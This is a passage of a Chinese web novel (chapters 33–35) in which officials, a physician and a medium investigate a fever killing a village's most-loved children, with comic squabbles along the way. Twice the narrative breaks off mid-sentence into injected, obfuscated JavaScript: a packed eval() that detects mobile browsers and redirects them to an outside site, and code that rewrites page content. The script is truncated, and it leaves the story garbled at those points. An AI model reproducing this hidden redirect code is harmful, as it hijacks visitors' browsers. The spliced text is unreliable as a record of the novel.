庾彦庭早有预料地一般,不紧不慢叠好符纸转交给身边人,嘱咐了一些表演符纸烫进粥里的要点和口诀。便带着祝弥跟着皓云走了。 祝弥走在最后一个,倒没犹豫,只是回头往小庙门口望了一眼。 深入村里一路走一路看,她不由得暗自唏嘘,虽说是第一次来,可还是轻易能从规划、规模和建筑看出,这村是夏口县、乃至武昌郡里数一数二的富庶大村。也见过不少荒芜破败的侨村,所以用脚趾头都能联想到“瘦死的骆驼比马大”几个字。 村里十有三四家贴了白色挽联,偶尔经过一些大门敞开或只有矮墙的屋子,还能看见搭设好的灵堂和中间的棺材,低低的呜咽声不绝于耳。皓云领着他们一路走近其中豪华得可称为宅邸的高墙,还没入门就隔着墙听见此起彼伏的哭嚎和咒骂声。 靠近大门,就正撞见有人从里面被轰了出来,几步跌下台阶。被轰出来的男人大约三十岁,苍白瘦削,落魄寂寥,趴在地上。大门“砰”地一声合上,里面的人不解气还骂了一句:“不配为人子!枉为父母官!滚远点,庸医!” 又扔出来一个木匣子。 那就是陆同光,和他的药箱。 庾彦庭连忙上去扶他。 他摆手拒绝,站稳后,拍拍袖子,回头看那已经关上的大门,面无表情做着记录:“昨日入夜前高热,撑了十三个时辰,今日辰时去世。” 庾彦庭叹道:“小儿的求生意志很强。” 陆同光盯着紧闭的大门,一副不甘心的模样,忽然又冲上去敲门:“人死不能复生,还望你们节哀。我还是那句话,孩子尸身有异,别停灵,宜火葬——” 话音没落,门又开出一条缝隙,一个扫帚直接狠狠地陆同光的脑袋上来了一下,里面的声音喝道:“再说一次我就领人把你那县衙掀了,你医死村中数个幼童,等着遭业报吧!” 被敲了一下,陆同光脸上终于有了点活人的涨红神色,微微叹气,问庾彦庭下一家求医的名字,还没听完住址,便额头上顶着一块红肿,无事发生一样地朝前走了。 他的背影传来苍凉的声音:“走吧,我知道路。” 祝弥趁机从门缝里看见了寂照的背影,他正跪坐院内,对着几个哭泣的女人念经。 被落在后面的二人低声交谈。庾彦庭说:“同光说这几日诊断下来,每个孩童在离去前那一刻,脉象都不正常,皆是——孤阳外脱。” 孤阳外脱,意味着病人体内元阳颓危,而阴寒内盛,此乃性命大凶之兆。染病的孩子总先是卧床不起,体虚气短,然后一会大汗淋漓一会四肢冰冷,如此缠绵反复了几个时辰,等到陆同光去察脉的时候,再摸出一阵异于常人强烈的实脉,越跳越强,越跳越强,直至孩子“哇”地一声骤然吐出一口鲜血,便再也无力回天了。 这脉象预示着泰极而否,倒像真是陆同光把人医死了似的。偏偏他对这病症给不出任何解释,也束手无策,只劝父母莫要再对孩子冰冷的身体留恋不已,还说这是戾气横行,非火烧不可休止。 看一个死一个,又主张销毁尸身,冒犯儒释道三家的入土为安、救度亡灵指引转世和送魂归自然的丧葬仪式。因为不管从哪一种教义出发,火葬不是“善终”,都无法让还活着的人得到慰藉,这还是天底下人性、心性最受锤炼摧残的群体——失孤的父母。 庾彦庭觉得今日他才被打,也算是借着之前积累的父母官好名声撑到了现在。 庾彦庭又道:“梦成你怎么看?” 逆着光,走在最前方的背影竟暗得看不清细节,只模糊看得个腰杆板直、一副正气凛然的模样。祝弥微微眯起了眼,摇了摇头,无声唇语几个字:再看看。 33. 戾气横村太守愁 下一家便是那圆眼睛小女孩的家。 从村中间走到村边上,高墙不见了,周遭一片好似荒废弃屋,只是尚有人烟痕迹。目的地的人家没有大门,围出院落的矮墙被岁月和风雨腐蚀,或许可以形容为残垣断壁。 听见脚步动静,屋中男主人两步并作一步迎了出来:“同光,你可算来了。” 陆同光擦了擦额头上的汗,没多说话,径直进了主屋去。 庾彦庭跟在后面,但是拦下祝弥,不让她太过接近病患。只道是虽风寒是小病但鬼知道扶乩体质会不会敏感得一病就死,她有事了那庙里睡觉的那位也不会放过他。 说实话祝弥本人也不知道自己弱点在哪,而且最近确实有些体虚,便听话坐在那院子矮墙上,挑了个能看得见屋内情况的角度,眯眼晒太阳。 小女孩从角落走过来,坐在她旁边,没有言语。 “你今年几岁啦?” 很老套的和小孩子没话找话语句,祝弥眼睛没从主屋离开,从怀里掏出干饼,分了半块递给她。 女孩不敢接,只答:“十岁。” 她便把干饼掰成小块,自己一块,女孩一块,问得很随意:“那你弟弟呢?” “八岁。” “刚刚去庙里是和佛祖祈愿弟弟康复吗?” “……差不多。是阿耶让我请陆明公的时候顺便求求佛的。” 祝弥嘟囔道:“求佛真有用的话,那还要什么医师来看。” 二人分饼吃聊着天,语气都淡淡的看起来倒也说得上是闲情逸致,和屋内有个将死的病人慌张焦急的状况截然相反。 屋内那边,陆同光绕着床榻走来走去检查环境,又是开窗,又是点艾,嘴上念念有词,手上写着东西。病患父母倒是一脸焦急的神色,也绕着床榻跟他低声说着什么。 祝弥不管怎么眯眼努力去瞧,都看不清唇语,或许里面比她们外边这两个帮不上忙的人还要闲情逸致,在玩追逐小游戏。谁知道呢。 “是吧,我也觉得。不然我到现在,也不会什么事都没有。” “啊?”冷不丁的一句话,祝弥的注意力回到身边来,“这是什么意思?” “阿耶让我去和佛祖说,‘信女请愿和阿弟交换病痛’。”小女孩嚼得慢,嘴里塞着饼,声音很含糊,倒挺随意,“可我现在除了肚子变饱了,病痛是一点没感受到。所以我也觉得,求佛没用。” 祝弥:“……” 快气笑了。 有些人或许有些小聪明,知道气数这种东西盈虚有数、此消彼长,知道世界上没有白吃的午餐,便像模像样地在请愿的过程中提出交易、交换,好让神仙听着觉得公平又可接受,动动手指头就实现他的愿望了似地。 认真打量起身旁这个小女孩,只见她鼓着一边腮帮子,目光也一直在主屋那边,神态是轻描淡写到无所谓。 “弟弟自小病弱,阿耶阿母多关照他一些,我理解的。” 真的是这样么。 祝弥看向别处,语气凉凉:“你自己不信佛吗?” 女孩犹豫了一下,见祝弥是个随和的人,胆子便大了起来,以手掌挡嘴,语气变得神秘:“几年前我是亲眼见到村东的赵阿翁雕出那座佛像的。砍的是江边的一株杨柳树,树干锯成几段,一段做身子两段做成头,细一点的部分是手脚,最后又拿湖底的淤泥糊在木胎上,捏脸造型上色,一个佛像就做出来了。” 女孩继续说:“我觉得真正的佛应该是从外面来的,而不是一棵我从小爬到大的杨柳。但是村里的人都爱拜佛,要拜到只看得见佛祖的脚才算诚心。可我怎么看佛像都只看得到那棵杨柳,粗壮又斜斜地躺在江边,无需费力,我三四步就能爬到树尖尖上。” 祝弥听着笑得眼睛弯弯,不光是因为童言无忌的假佛言论,还有女孩讲起村里的事情,神采分外明亮,眨眼眨得像星星。她靠近她低声道,“我怎么觉得你是这个村子里最聪明的人呢。有些大人啊,都没你想得明白。” 对方被夸了骄傲地点着头,越说越大胆:“而且啊,我们几个伙伴都觉得……佛像,正头还好,可左右那两颗,太吓人了。我实在不喜欢。” 祝弥回想起小庙里佛像的开脸,辅面两张夸张的忿怒相就不提了,那确实是专门吓人吓鬼用的,主面虽慈眉善目,可圆脸细眉深目直鼻,头发也是螺纹卷发,一副胡人的异域模样,平白地就叫人亲近不起来,呃、叫中原人亲近不起来。 确实确实,纯洋人就是让人无端有一种非我族类的排斥感,混血才好嘛……祝弥便不由得附和地点点头,只听得小女孩悄声又说:“我原以为,今早在庙里睡觉的那人是新来的活佛呢。那个多好看呀……” “没错!” 祝弥惊讶于小女孩的品味与自己的深刻趋同,惊叹一声,又是不住地点头认可,要不是她是个男人身份,她简直想搂着自己的小姐妹狠狠地亲一口。 二人又是一阵闲谈,最后话题又回到院子当下,祝弥问:“你自己想不想弟弟变好?” 女孩收敛表情,盯着那边没掩上门的主房。里面的四个人不再玩追逐游戏,变成了并排站立交谈,像一面漏风的三折屏风,遮掩不住床榻上一截细瘦的孩童手腕。 “想的。我还是希望弟弟能像阿大那样长寿。大概五十、六十岁吧。他才八岁,很小。”女孩低下头,又说,“我十岁,够大了。” 忽然,里面的人好似察觉到屋外直勾勾的目光,又或者其间起了争执,屏风不再是屏风,四下散开,似乎氛围不太融洽。 里面唯一的女人走出来,穿布衣、戴布巾,是女孩的母亲,对着祝弥的方向,声音有些严肃:“你别打扰官人,快去看药。” “是。”女孩轻轻一跳,往灶房走去了。 祝弥也跳下来,和女孩同行几步,悄声问最后一句话:“陆明公是你们村里的人?” 得到答案,祝弥便拐了个脚往主屋走去。走近了终于听清他们的说话,那父亲一脸不解,焦心地催促,还忍不住上手推了推陆同光,“同光你磨蹭半天是为何啊!倒是给他诊诊脉呀。” 语气倒是相熟得不留情面。 陆同光一进这间屋子的表现确实奇怪,不似之前那样熟练麻利地望闻问切。而是望了很久,闻得仔细,问询记录也是一笔一划写得格外慢。 慢到女主人都忍不住照着村里其他病例的情况,自我诊断般地抢答:病症和其他小儿的一模一样,就是那凶煞又古怪的戾气。终于轮到她可怜的郎儿身上了! 说着便掩面哭哭啼啼起来。 该切脉做最后的确诊了。女主人已经第二轮拂面拭泪,男主人不死心似地催陆同光动作快点,希冀他的儿子能有一个和其他人不一样的一线生机。 陆同光却站立许久,好像膝盖不肯受辱弯曲,不愿去碰那榻上的病人。 “陆同光,你可是当官当久了看低我们这落破户?高门大户的你就殷勤相待,进了我们家却当儿戏一场,我儿是什么晦气物你竟碰也不愿意碰?!寂照师父也不见踪影,都看不起我们家!”男主人终于急了,面相骤然一改愁苦,变得狠厉。 “要知道,你离家上任县令,一直是我们这老邻居帮衬你那留守的老父亲!可别忘了自己是从哪里来的!” “不是,我……”陆同光喉间好似有千钧坠,艰难地动弹,却一句话说不出来。 男人见状又急又气愤,常年苦力劳作,手臂上的肌肉瞬间绷起如小山,就要靠近陆同光。相较之下,好像陆同光心虚得蜷缩在男人的影子之下,干瘦的身影依旧一动不动,好像默认了一切指控似地。 就在那拳头朝陆同光脸上舞来的时候,有声音响起,“大概——” “或许……孩子们,真的是我害死的。”陆同光几乎脱力,身形一软。 庾彦庭及时介入拳头和陆同光之间,拦住拳头,扶住了人。 ——“老兄长,”一声轻松笑声,祝弥闪身进入,轻巧蹲在床榻前,已经握住了男孩的手腕,做诊脉的动作,“陆县令已有风寒迹象,昨夜就没休息好,今日实在是累了。他是怕自己过了病气让你郎儿情况加重呢。” “算你们命好,今天等到了我。我呢,会稽来的神医世家,祖父可是给天子看病的。千金难求一诊。” 那男人将信将疑地看看祝弥,又去看庾彦庭,意在求证。 庾彦庭立马扬起下巴,一副受之无愧的坦荡模样,意思是,她说的都对。 祝弥切着脉,自言自语着:“唔,脉象还没到最凶险的时候,尚未、呃……古阳外拖……陆县令,你看药方这么开如何?”说着起身和陆同光耳语几句。 陆同光额上冒着汗,点点头,连忙出了屋子,顶着太阳写了一道药方,交给灶房的女人和女孩。 药方普通又常见,连那没上过学的女孩都勉强认出了草药名字和药效,疑惑直言道:“弟弟只是寻常风寒吗,桂枝、白芍、甘草……这是驱寒止汗的。” 陆同光尴尬又欣慰,对着女孩轻轻一笑:“我父亲是不是教了你不少……” 女人闻言,着急道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290959|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“同光,莫要再看低我们。我们买得起贵的药!” 话虽如此,陆同光和会稽来的年轻神医还是一副胸有成竹的模样,坚持诊断结果和这份药方。 他们便让女孩放下柴火拿着药方,还交代了一点银两,抓药去了。 几人又跑了两户孩儿忽然高烧盗汗不止的人家,皆由会稽的祝神医亲自上手,望闻问切,有模有样。陆同光站得远远,只陪诊不上手,还一起斟酌药方。期间神医还让手下人回去做统计,整理一下最近染病的孩子的年龄、病症病程、家庭情况、家中几亩田、几口人,以及陆同光下过的诊断、开过的药方等等信息。 今日村中有四个孩子发病,除了早晨第一个拖了一整晚最后还是吐血而亡的,剩下三个都由半路插手的祝神医过问照看。 那三户人家原本见孩子病症典型,已经是暗自心如死灰,求医也只是最后的救命稻草,一场心理安慰。 没想到祝神医一出现,自己的孩子没像其他亡故的孩子那样继续恶化,虽还是高烧反复,但也没出现性命危急的孤阳外脱迹象。用了药,控制住了高热,甚至还能从孩子苍白的脸上看出一丝幽幽生气。 一时间,村中人感慨纷纷,只道是寂照师父皇城里走一趟,领来的徒弟果然不一般。其中的神医虽然名气和年岁不大,竟然医术了得,妙手回春……也不能说是回春,至少让孩子不死。 看完了病,出诊小队回到村口小庙,道士赈符粥已经结束,人已散尽,村口周围除了一口空了的大锅,只剩一派风卷残云的冷清残局。 庾彦庭和祝弥一进庙,看见里面的人还在熟睡。 庾彦庭冷笑道:“呵呵,不是说只睡一个时辰么。” 祝弥也呵呵一声:“第一次知道中郎将也嗜睡如猪。” 说是这么说,还是不做打扰,二人转身出门。没想到一转身的瞬间,“——哇啊啊啊!鬼吗!!!” 小庙另一头的景象映入眼前,二人被吓得失声嗷嗷大叫。 是王兰清,翘脚坐在一张椅子上,苍白安静得像个女鬼,正盯着他们笑得轻蔑。 这一喊吓得桓错直接醒了。 “……什么情况?”他揉揉眉心。 陆同光闻声也进来,看清了人之后,轻叹一声:“你……怎么这副模样,你怎么来了。” 原来,这陆同光没做县令之前,还给武昌太守家的三个孩子当过一阵子时间的教书先生,与王兰清倒是老熟人。 祝弥便给庾彦庭和陆同光交代了一下昨晚他们和王兰清的恩怨。可今日这王兰清是只身一人,没了嘴,任凭祝弥添油加醋地平添许多细节,她也只是目中无人地勾着一只嘴角,时不时翻一下白眼,不反驳不辩解,丝毫不在意似地。 祝弥学王兰清笑得古怪,呛她道:“你的嘴呢?今日怎么人嘴分离了?这样不会憋死?” 陆同光道:“冒犯了贵人,今日兰清应当是来赔罪的罢。几位,兰清一贯莽撞,但也就事论事,不存私心。也算不打不相识,你们别往心里去。” 王兰清又递了一个傲慢的眼神给陆同光,陆同光叹着气翻译道:“是是是,你兄长逼你来的。” 了解一番,才知道昨夜王兰清逮到的那伙人先前也经过这个村子,原本正要在江水上游做点什么符水害人的事情,结果被村里一个野外采药老者无意撞破。一番纠缠,他们害了人,被村民察觉,踪迹暴露,王兰清才率人来此地巡视。此后,村里便接二连三地出现戾气横行,幼童急病而亡的事件了。 忽然王兰清像是想起什么,转身在画符的书案上飞速写字,一张黄纸展在祝弥眼前: ——他们说你是乩童。 “他们是谁?什么乩童?”陆同光问。 不顾他人着急,王兰清又转身去写字。须臾,转回来: ——杀了陆伯的那伙人。 “啊?陆伯是?”众人不解其中关系。 陆同光又急急对着王兰清道:“哎呀兰清!你快张嘴说清楚吧,别玩了!” 众人:原来你不是哑巴啊…… 王兰清:“……” 她一脸不爽,磨了磨牙似在犹豫,最终叹了一口气,坐直,捋了捋鬓边、新梳的、当下最时兴的、高髻垂髾的垂髾,还展了展鲜艳清透的裙裾和飘飘大袖,然后以袖挡嘴,抬眉环看众人,轻咳一声,“我说——” ——“啊??!” 武昌太守不鸣则已一鸣惊人,仅仅两个字就让众人震惊哗然—— “原来你是男的吗?!!” 34. 戾气横村太守愁 “有病吧?!” 三个人异口同声对着王兰清。 这一词原是祝弥爱说。桓错缠着她要西行,她这么骂他。庾彦庭服了散要上天,她这么骂他。王洵乐做了坏事想找山长自首,她这么骂他。相处久了,口癖是会传染的。 “这也大惊小怪,真没见过世面,亏还是会稽来的。呵呵。” 娇俏女郎一句话又出口,好心地供众人再次确认没有幻听,确实是格外低沉沙哑的嗓音,就像是有磨砂纸拂过手臂,让人想抓痒。 另外三位果真各有各地在龇牙咧嘴、抓耳挠腮、皱眉深思。 王兰清预料得到这种反应,翻了个白眼,不以为意继续道:“我是说,以翼火为首的那几个会使些邪门诡技的流民,昨夜拖着这手脚不便的小子撤退失利,被我一锅端了。”说着抬眼指了指祝弥。 原来他不说话只是不想破坏自己精心装扮出来的高挑纤细美娇娘形象,毕竟这一口天生烟嗓…… 不说话也是为旁人着想,人还怪好心的……不对,反差也太大了些! 其余人还在咋舌,祝弥反应飞快,道:“哪有一锅端,不是还跑了一个吗?” 王兰清瞪她一眼,“那不是你大吼大叫声东击西了吗?我还纳闷怎么多出一个人。” 桓错问:“那陆伯是?” 陆同光说:“就是我父亲。半月前野外遭遇了他们,被他们所害……” 庾彦庭目光逡巡了王兰清一圈,吞吞口水,问:“那你这是?” 王兰清甩了甩轻飘飘的袖子,骄傲地扬起了下巴:“就说我扮的女郎是否以假乱真吧。哼,我家婢女说了我比山阴里的女郎还要娇俏可人。” 槽点太多,众人整齐有序守礼克制挨个吐槽—— “你家婢女去的是哪座山的山阴。”桓错面无表情。 “有给他看过脑子否?”祝弥则忧心忡忡问向陆同光。 陆同光摇摇头,只道是孩子从小做事就出格,长大了更加无法无天了。如今功课不就就钗裙,他这个先生见了竟也不足为奇。 庾彦庭盯着王兰清的头顶,笑得意味深长:“呵呵,我家桓郎扮起来都比你好看。” 王兰清:“不可能!他那么高!” “你也知道你矮啊!侏——儒——” 王兰清咬牙气道:“反正我比那边那个高!”说着挑眉直勾勾瞟了一下正和陆同光说话的人。 莫名被波及比较、对方还一脸挑衅的姿态,祝弥还没发作,桓错先拦在前面,睁着眼睛说瞎话:“她比你高。” 庾彦庭歪嘴一笑:“她扮起来也比你好看——”忽然又皱眉嫌弃,“哎呀你真别说话了,我听你这一口鸭子嗓浑身不舒服!” “别仗着你们人多就可以欺负人!臭外地的!”舌战群儒败下阵来的王兰清气得连连捶手,襦裙宽袖像只黄白色大蝴蝶扑翅。 祝弥才发觉这人从一见面就对自己格外轻蔑是因为身高,到底还是没忍住,从桓错身后探出脑袋为自己争口气:“王兰清,来单挑!” “来就来!怕你吗?!” 桓错一脸欣慰地给祝弥递上她自己的刀,庾彦庭看热闹不嫌事大,回头四处找另一把。 “别闹了。”陆同光没收了一切刀具,润物细无声地阻止了这一场闹剧。 眼下还有更焦急的事情,几人思绪转圜过来,专注于眼下疫童暴亡的事情。 庾彦庭先和陆同光解释了祝弥是乩童、有阴阳眼这件事。 陆同光结合了一下在女孩家里祝弥和他交谈的耳语,讶然一声:“先前你和我说的,也许是我走家访户,过了疫气给新的孩子,让我先别和孩子接触……” 祝弥对上陆同光的目光,嘴唇翕动几下,似是有话又憋住,最终泄了气似地蹲在地上,挠自己的头。 “我不知道。越往这边走,大家身上的鬼越来越多了,多得我几乎分辨不出来有几只、哪只是哪人的鬼……其实进了村我眼前就总是灰蒙蒙的像是有浓雾,有时候远了几步都怕找不到你们,只是凭着声音……” 她没有说得太清楚,这个疫村人口密度高,一整片的屋檐瓦顶上空,藤蔓似地扭缠着一条条相通又盘根错节的黑气。假如那个被寂照物理超度的老者身上的鬼的浓烈程度称为一个节点,那这个村里,就还有数十个相似的节点。 是数量多,还是执念重?又或者……有东西像是怀真那样,被一道符给激活了? 庾彦庭和桓错一阵心惊,连忙扶起她。 “你怎么不早说?!” “皓云,给我找根长长的绳子来。” 祝弥瞪二人一眼:“一个一进村就睡觉,另一个难得摆出正经模样做正经事。我就想再观察观察嘛,反正我见鬼也不是一天两天了!” 陆同光思虑一番,踌躇开口,“我确实能感觉出孩子们……他们气绝脉止的那一瞬间,有一些不寻常出现,甚至让我有点脱力……还总莫名想到我父亲——” “快去扶陆县令坐好,他真是累到了。”祝弥直接使唤起身边两人,转而思索起别的事情道,“今日我看的那三个孩子虽然没有‘孤阳外脱’的急兆,命是暂且留下了,可也依旧高烧反复,要痊愈如初还远得很呢。” 撑着陆同光上座,顺手还给他倒了一杯水,桓错向庾彦庭甩来一个凉凉的眼神:“你不是个道士么,来了这里一天,算不出来这里有异吗?” 庾彦庭气不打一处来,粗鲁地转了转腰间的小罗盘。其中指针像无力下垂的手臂,没有意义地轻轻摇晃。“这玩意指的是方位啊……身在此山中,哪还能准了。我他阿耶的真以为一切正常呢、我是说,我以为这只是普通疫症。” 这时,皓云按照祝弥要求的整理好了村中孩童急病的信息,送了进来。几人便围在桌子前一起研究其中规律。 病亡的孩子有男有女,有大有小,村头一个村尾一个,家境也有贫有富,乍一看也看不出什么特别的。 身为讲究辨证论治、探究疾病本质的医师,陆同光不用“疫症”而是用虚无缥缈的“戾气”一词形容这一场怪异,是因为这些病例古怪之处超出了他理解能力范围:不是所有孩子都无差别染疫,特别是在多子家庭中,明明同在一个屋檐下,却是这个病入膏肓,那个全然无事。 而作为疾病的疫症不是这样的。如此凶险夺命的疫症,一死就是一片,才不会大发慈悲般地跳过某些人,又不是真有佛祖保佑。 就像祝弥去的第一个家庭,弟弟病了,同吃同住的姐姐却无事——为什么? 难不成,佛祖真的只保佑了姐姐吗? 所以陆同光认为,或许是时疫历久弥新,滋生出了戾气横行。因为他近日一连接触了这么多孩子,自己也像是被某种低压气场笼罩,格外容易精疲力竭,于是放弃追本穷源,转而建议村民火葬病死的孩子尸身。 毕竟,不管是时疫还是戾气,不管有什么原因挑选对象感染,总归是附着在孩子们身上的,索性一把火全烧了,斩草除根。 不出所料被人赶了出来,还是臭骂一通。 祝弥忽然想到今日那小女孩求佛一事,对着桓错和庾彦庭:“你们能再探点隐私的吗?我想知道,死去的孩子在家中事无巨细的境地,特别是那些一子病亡一子无事的多子家庭里,大人对待不同孩子的态度。” 至少,孩子逝去,家家户户都在哭。 都是捧在手里怕化了的宝贝呢。 桓错和庾彦庭眼神对峙了一番,最终庾彦庭起身离席,一边走一边摇着脑袋:“谁让本公子左右逢源妙语连珠善解人意、天生地就是让人易亲近信任呢。比某些变脸大王不知强了多少倍。” 桓错目送他:“梦成身边总得留一个人。” “他们两个好像你的兄长啊祝梦成。”磨砂纸般的声音风凉地响起,还要补上一声嘲讽的“呵呵”。 祝弥都懒得抬眼瞅他,“太守大人又要和我比吗?” 她算是发现了,王兰清对桓庾二人反倒没那么大的敌意或竞争意识。这人从一出现,注意力就只在自己身上,还是十分看不起的那种!原本还以为扮演女郎的他是看上了桓错嫌自己多事来着。不由得心下暗诽:总不能是因为身高吧,自己是他唯一比得过的对象……? 王兰清:“哼,这福气还是你自己留着吧。” 陆同光也风凉一声:“兰清可是消受过头了,是吧。” 王兰清:“……” “父亲的丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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据说,王老太守气亡的那一日,去某歌舞升平的酒肆里寻他。不知当时哪处风声关窍没搭对,老太守竟撞见他正一袭女装,轻佻浮艳,还故作风情地向旁人邀酒寻乐。“父慈子孝”、鸡飞狗跳的场面自不用多说。武昌一时之间人人风传:那日王老太守带人回家,睡了个午觉之后就再没醒来。 只道是孽子气煞老翁。 流言风声没敢传多久,新上任的“女太守”雷厉风行,不光打击闲得没事嚼舌根的人,还刻苦追击流民团伙“雀”的残部,也算是为民做实事了。 “雀,”祝弥念出这这个字都忍不住笑了,“那是不是还有虎龙和乌龟啊?” “或许是吧。”王兰清一脸认真,和他们补充了武昌郡的近日状况。 活跃在武昌的闹事流民似有层级组织,还像模像样地地纪律严明。平定起来还颇费了老太守的一番心力。和他们交手一场下来,老太守察觉“雀”的消息格外灵通,便分别下发给了几个部下不相通的调兵布阵信息,围剿雀的那晚,偏偏只有儿子们率领自家府兵去的敌方营地扑了空,让逃了三个雀的骨干成员。 走漏的风声竟是出自院墙内。成熟稳妥、谨慎可靠的大儿子二儿子自不用说,跟着他行兵征战多年,既骁勇也善谋,更不可能有异心。 剩下最小的那个,难得这回老太守想历练他,结果逆子一穿上盔甲就嫌重,嘴上还万分不情愿地念着:有兄长们去了何必要他也跟去——岔子只能出在他那里了——有人私下和太守进言,点卯集结的时候王幺郎迟了半个刻钟,身上还有酒味。 翌日的战果一上报,老太守勃然大怒,提着把刀就去酒肆找人。 …… 再然后,就是王家的讣告贴遍武昌。 人人唏嘘不已。 “可我自从得到夏口有‘雀’的消息以来,马不停蹄追踪至此已经杀了翼火和星日,就差个胆小不担事的鬼金,谅他独身一人也掀不出什么风浪。他若还敢冒头,我斩他二十次都不解气——我想说的是,虽然我喝酒玩乐不爱戎装爱女装,可兰清,从未背叛过父亲。” 话说完了,低而暗哑的嗓音消散在屋内的每一个角落。 此刻的王兰清眼观头顶目中无人,只要不说话,就还是那副下巴比天高的娇气傲慢女郎的模样。 35. 戾气横村太守愁 一时之间没再有人说话,气氛倒还有些尴尬起来。有人望了半天三首六臂、师父的师父的佛像,才想起来进了村从未见过寂照师父。 “……师父还回来吃饭吗?” 跟着师父多来一天的庾彦庭摇摇头:“不知。进了村我就没见过他。” 师父很忙。在超度亡灵。 因为陆同光看死人的速度比他念经的速度要快得多。毕竟寂照师父做事主打一个一碗水端平,人人平等,绝不敷衍任何一对伤心的父母。 所以没多久之后的日落时分,皓云把寂照大师横着送回来的时候大家也不觉讶异——累得昏倒,听不清的梦呓无需分辨,一定是心经金刚经楞严经。从他无意识的手部动作可以判断出来,超度还需敲木鱼。 这副无异于痴迷的模样,桓错忍不住问祝弥:“这样的超度会有用吗?” 趁着寂照大师睡着,祝弥回想起今日走家访户哭丧声不绝于耳,大逆不道的话张口就来:“能让活人放下对死人的执念或许有用吧。可丧子父母的心结,这其中的难舍与苦楚,没个经年累月的,消解不下来的。师父这么卖力,最能安慰的是他自己罢了。” 陆同光道:“我倒是不信什么鬼神与佛祖。看了这么多孩子的惨状……我总有一种感觉,任它是何淫邪之物,一把火烧了那些尸体便是。” “别急嘛陆县令,”祝弥笑道,“怪力乱神,皆事出有因。有时候这些怪东西,因果相对,就摆在明面上,可比人心好猜多了。若是仓惶武断的一把火,没烧到因,惹了众怒,恶果会越结越大的。” 陆同光:“……” 一把火过后,尸体和魂魄是化为灰烬了,可斩草不除根,又有新的孩子进入高热该怎么办?违背传统和信仰,做了牺牲的父母怀抱着爱子身骨不再、魂魄难安的永世遗憾又该怎么办呢?会不会又生出新的鬼? 这是一场疫病、也是鬼祟啊。 疫鬼横行…… 来一场傩仪就好了。 祝弥忽然灵光一闪,眨了眨眼。 “怎么了?”桓错问。 思虑几下,祝弥只道,“还没想明白,等彦庭回来再说。” 没想到庾彦庭是被一群孩子前呼后拥、荣归故里般地送回来的。 庾彦庭也很谦卑,弓着腰送走每一家的孩子,孩子王的阵仗散去,他转过头来见众人,讪笑一声:“盛情难却啊哈哈哈哈。” “快说说情况。” 他倒是叹了一口气。走的每家每户皆是极尽哀恸,无论贫富,死掉的都是家中最珍爱的孩子,无一例外,确实最大才十岁:寄予厚望的长子、体弱多病的幺子、身负宗祠重任的独子、聪慧可爱的掌上明珠、母女相依为命的女……听见他打着能为亡童消除执念,指引亡灵的幌子,每家都像是抓住了救命稻草,对他当寂照师父一样恭敬相待,知无不言问什么答什么,不敢有隐瞒。 祝弥翻着统计的数据,“家中无事的孩子呢?” 庾彦庭说:“这就有些微妙了,无事的孩子有:前夫的、前妻的、行二的、忤逆的、捡来的、代养的、过继的……总觉得,这戾气,只往父母心尖尖上斩啊!” 用米面养的孩子就无事,用心力养的孩子就暴亡……真是麻绳专挑细处断、破船偏遇打头风! “哎呀,这戾气要是在山阴流行,我完了。”他长叹一口气。 祝弥微微笑安慰他这个家中最受宠的:“不会,你超龄了。” “还有,”庾彦庭又道,“我还看了几个孩子的尸身,我觉得,死状好像王季林啊……难道这个村有人在挨个给这些孩子们喂符水下邪咒吗?可下符水的那什么翼火不是被杀了吗?” 王兰清挑挑眉,身体靠到椅背上,一副邀功的样子,“这村子没喝符水。这手段被识破之后就不管用了,我们到这之后第一件事就是管控水源。” 女郎模样却一口鸭子嗓,还故作深沉彰显自己功劳。庾彦庭不由得一声凉笑:“哟哟哟,真把自己当太守啦?” 王兰清最近带着一支精兵在夏口驰走,还大张旗鼓地宣扬“太守巡视”,一直无人有异议是因为,兵是他王家一甲一马供出来的府兵,名也是他王家一代一代承下来的名。主子想要手下人称呼他为太守,手下怎么喊都是他自家的事。而且他们行的是百姓事,缉拿流寇还算有点鞠躬尽瘁的模样,百姓们便也跟着磕磕头直呼谢过青天大老爷。 可有点官场素质的人一看便知这其中的玩闹之意——全郡的人都在陪老太守家的王幺郎过家家呢。 过家家的主人公却是万分沉浸,袖袍一甩,亮出腰间明晃晃的武昌太守的印绶,“咳咳。” “这有什么,印信乃身外之物。我若是偷来天子信玺,你给我叩首直呼‘陛下’不成?” 王兰清气得冷哼一声:“还天子信玺,怎么不去偷传国玺?是没有吗——” “住嘴!”庾彦庭大喝一声制止,“你小子真是要造反了!” “谁人不知如今的司马是个庶司马,八王之乱都不带他的落魄户。当初在琅琊,四处周转都得万般仰仗我们琅琊王氏。”王兰清越说越激动,印绶拍桌上,符节也拍桌上,只顾逞口舌之快,“被一辆破牛车拉到了建康称了天子,自己的腰杆都挺不直,还打杀别人说他名不正言不顺,连那扶不起的刘阿斗都不如!” “年年有天灾,月月有人祸,日日有起义,我父亲这辈子东征西战、操劳过度都是在给他那个假司马,擦他阿耶的屁股!” 一通言论实属逆臣贼子的经典发言,庾彦庭听得是眉心狂跳,不能任由表哥被看低,便梗着脖子,刀鞘也拍桌子上,“抓几个流民首给你美上了!你们家忝居武昌在桓家郎面前说这个话要点脸吗?!看剑!” “看剑!” 二人抬刀便是跳出屋外铿铿锵锵地撞在一起。虽说王兰清体型小,力气也差一些,但是存了死志似地,进攻之勇猛,动作又格外灵活,招数竟也难挡。 